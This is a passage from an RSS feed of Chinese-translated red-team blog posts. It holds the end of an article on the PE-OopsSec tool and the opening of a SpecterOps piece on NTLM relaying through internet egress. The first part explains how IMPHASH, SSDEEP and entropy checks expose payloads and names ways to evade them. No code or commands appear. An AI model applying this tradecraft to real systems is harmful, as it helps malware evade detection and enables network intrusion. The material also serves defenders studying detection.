BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Visual Studio</span></strong><span leaf="">：属性 -&gt; C/C++ -&gt; 语言 -&gt; 启用运行时类型信息 -&gt; 否（/GR-）。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013034" data-ratio="0.815" data-s="300,640" data-type="png" data-w="400" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d2d63a8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaz1vADiags76en77wic7RUOkic7Cj9rWj89qTUVFibKd5yKvEhre3TQ80xdBUicxHqGbp8cnEAxFqrMDiafWwNdMP8qFnwxf1h6CrlE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">图片: PE-OopsSec RTTI</span></figcaption></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">10. PE 文件 IMPHASH（导入哈希）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PE 文件编译时，链接器将导入函数按照源代码中声明或处理的精确顺序写入 </span><strong><span leaf="">IAT</span></strong><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">操作者犯下的一个关键 OPSEC 错误是仅依赖以下方式：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">更改载荷的外部哈希：添加垃圾字节、更改字符串或修改资源会完全改变 SHA256，但使 IMPHASH 保持 100% 相同。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">自动代码混淆：未掩盖导入表的基础加壳器或加密器仍会暴露静态的、唯一的签名。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果 EDR 或威胁猎人标记了你工具的旧版本，他们将为其 IMPHASH 创建告警规则。当你新编译的载荷一接触到端点代理扫描的磁盘，或被上传到 </span><strong><span leaf="">VirusTotal</span></strong><span leaf="">或 </span><strong><span leaf="">MalwareBazaar</span></strong><span leaf="">时，就会立即触发匹配，暴露整个行动。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你可以使用 </span><strong><span leaf="">PE-OopsSec</span></strong><span leaf="">套件中的 </span><strong><span leaf="">PEHash</span></strong><span leaf="">工具检查 PE 文件的 IMPHASH。使用此工具的最佳方式是构建一批载荷变体并将它们全部放在同一文件夹中——工具会扫描它们并突出显示文件间任何重复信息。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013035" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.76" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=922aed9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaibVibOIV82t9K3470pHo0Jebjoq4GsT36HLWGgricbyyCjHDa6KUTfQuGkiaTRMv27zwY2uTnscbKibz9bdZ8K3tZV7NXAxftDmzU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">图片: PE-OopsSec IMPHASH</span></figcaption></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">11. PE 文件模糊哈希：SSDEEP</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">SSDEEP </span></strong><span leaf="">使用</span><strong><span leaf="">上下文触发的分段哈希</span></strong><span leaf="">（CTPH）来基于结构相似性匹配数据。这意味着防御者的安全系统会立即将修改后的二进制文件与已知的、有文档记录的活动进行标记和聚类。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SSDEEP 根据内容上下文而非静态字节间隔将文件切分为动态块。如果你仅替换 500KB PE 载荷内的一个 IP 地址或 C2 域名字符串，超过 99% 的文件结构完全相同，产生的 SSDEEP 相似度分数接近 100%。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SSDEEP 算法输出 0 到 100 之间的相似度分数，其中 0 表示未检测到相似性，100 表示结构布局几乎相同。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">注意：威胁猎人不仅查看整个文件；他们还计算 ImpFuzzy（仅应用于 PE 导入地址表的 SSDEEP）。如果操作者更改了整个执行流程但以相同顺序重用相同的 Win32 API 调用，工具仍会捕获他们。</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">添加垃圾覆盖填充、更改函数名或修改变量赋值会改变加密哈希，但无法改变二进制文件的宏观布局。防御者利用此缺陷从单个已暴露的载荷转向，绘制出整个开发者画像或工具集。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现代端点检测与响应（EDR）代理和 VirusTotal 等平台会自动将你的&#34;新&#34;载荷直接映射到你的旧基础设施。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你的新载荷因 SSDEEP 匹配已知毒株而被立即标记，它会烧毁与之关联的所有全新、昂贵的 C2 重定向器、域名和证书。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">复用相同的编译器、样板代码模板或入口点结构会产生重叠的模糊哈希，使威胁情报机构能够将活跃行动直接关联到历史组织。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用 PE-OopsSec 套件中的 PEHash 工具进行检查。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="图片: PE-OopsSec SSDEEP" class="rich_pages wxw-img" data-imgfileid="100013022" data-type="png" style="max-width: 100%;height: auto !important;" data-ratio="0.3261163734776725" data-w="739" src="https://wechat2rss.xlab.app/img-proxy/?k=60d202dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShLfrkKHBGI4uRSHtsxeg9zbtFmXHjJh6cRkyGFsSnd3E24BpJsSl1FQ04Q2mSAGCGEfOiapVoUvWaF2ibD9GyIf4CZiabbqjQ4aI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">图片: PE-OopsSec SSDEEP</span></figcaption></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">12. PE 熵值</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">熵值 OPSEC 错误发生在红队人员、恶意软件开发者或渗透测试者使用加密、混淆或加壳保护其载荷，但不慎使二进制文件留下</span><strong><span leaf="">显著升高的香农熵值</span></strong><span leaf="">（通常 &gt; 7.2）时。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因为自然的、未编译的文本或标准编译代码聚集在中等数值附近（4.5 到 6.5 之间），接近理论最大值 8.0 的节区对于静态分析引擎来说如同即时信标。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">安全工具和端点检测与响应（EDR）平台无需解密文件即可标记它；它们只需查看数学特征，就会立即将可疑二进制文件重定向到自动化动态沙箱或标记为隔离。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">将加密的 shellcode 或载荷数据直接放置在主可执行代码节区（.text）中。标准代码具有可预测的、结构化的模式；对其进行随机化会将 .text 熵值推至 7.0 以上，触发即时静态告警。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一些对抗技术：用空字节或低熵字节填充、格式保留加密、英文文本/代码注入……</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013037" data-ratio="0.2225" data-s="300,640" data-type="png" data-w="400" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=78eb42d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSg3LbGUeUaRquadKIolX0cjjnjk0Y0SBqq81QjveKzq9qh6Fbjt3IRYrrtFNy8nHNlsmyvkb9g99RNTQhyQ7exIHz44zTad5k4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">图片: PE-OopsSec entropy check</span></figcaption></figure><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">III. 结语</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">前文梳理了一系列将载荷部署到实际环境时的常见陷阱。任何载荷都可以被多次复用（通过更改编码、C2 细节、加密等），而一个小小的疏忽就可能掀翻你整个系统或暴露此前部署的载荷。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一旦踩中这些雷区，你的载荷可能从构建的那一刻起就被标记或追踪——远在你投入使用之前。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PE-OopsSec 套件为你提供了基本功能，可用作载荷投入生产前的最后一道检查关口。这对于批量生成载荷的构建器模式尤为便利。例如，你可以将它挂钩到生成载荷的工具或门户中，它会自动&#34;扫除&#34;常见的 OPSEC 失误——那些我们在处理大量载荷时经常忽略的小错误。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">软件开发者和游戏开发者也可以借鉴这些隐匿技术，使其应用程序或游戏更难被分析或作弊。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.zerosalarium.com/2026/07/pe-oopssec-mind-your-pe-guard-your-opsec.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f22e5a7b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496722%26idx%3D1%26sn%3Da6809d147f8c889470c11c9f49ddafcf">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 26 Jul 2026 15:50:00 +0800</pubDate>
    </item>
    <item>
      <title>去而复返：NTLM 中继出站流量操作指南</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496718&amp;idx=1&amp;sn=780147f3e29e4e33ed947f4b2ef1fd1c</link>
      <description>本文介绍 SpecterOps 的&#34;去而复返&#34;技术——将强制触发的 NTLM 认证流量引导至互联网云端主机，再中继回目标内网实现身份接管与本地提权。</description>
      <content:encoded><![CDATA[<p><span>Logan Goins</span> <span>2026-07-25 16:50</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=06bc90e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgGar5sjmbFbuWRYlKOp1tVrbBAfw1MZc5hy5UvzcsLTk4ZZDFDE35GWnO4rTJ8ayk3LWurdYy8QyiauqT5nHJHStaibFmx74N24%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>本文介绍 SpecterOps 的"去而复返"技术——将强制触发的 NTLM 认证流量引导至互联网云端主机，再中继回目标内网实现身份接管与本地提权。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://specterops.io/blog/2026/07/15/there-and-back-again-an-operators-guide-on-ntlm-relaying-egress/" target="_blank">https://specterops.io/blog/2026/07/15/there-and-back-again-an-operators-guide-on-ntlm-relaying-egress/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Logan Goins</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><em><span leaf="">TL;DR</span></em></strong><em><span leaf="">——旧瓶装新酒。还记得当年强制触发 SMB NTLM 出站流量来破解质询响应的手法吗？在我们的评估中，很多时候当无法通过 C2 进行本地提权，或者防火墙规则阻止了 WebDAV 中继到 LDAP 时，从强制触发的网络出站流量中中继 NTLM 是理想的选择。这项技术涉及将 NTLM 认证强制触发至互联网方向，用云端主机接收该流量，然后将流量转发回我们的红队基础设施，再代理回目标环境中的服务，从而实现身份或计算机接管。</span></em></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">致谢与先行研究</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在进入操作指南和技术手法之前，一如既往地需要列出本博客所依赖的先行研究和致谢。我并非这项技术的原始创建者（将 NTLM 认证强制触发至互联网本身</span><strong><span leaf="">并非</span></strong><span leaf="">新事物），但将该认证胁迫转化为 NTLM 中继的做法并不常见。本博客主要作为一份公开资源，以现代化的格式分享这一（可能已被）遗忘的技术手法，我们在实际操作中仍经常使用它。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Nick Power 在其 SMBTakeover 博客中关于在不加载驱动的情况下通过命令与控制（C2）实施中继技术手法的指导</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Elad Shamir 从研究角度对 NTLM 中继技术手法的深入分析，其中描述了大量与本博客所呈现攻击技术相关的上下文背景，可在此处找到</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Matt Creel 在此博客中关于通过 SOCKS 进行 NTLM 中继的指导</span></p></li></ul><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid 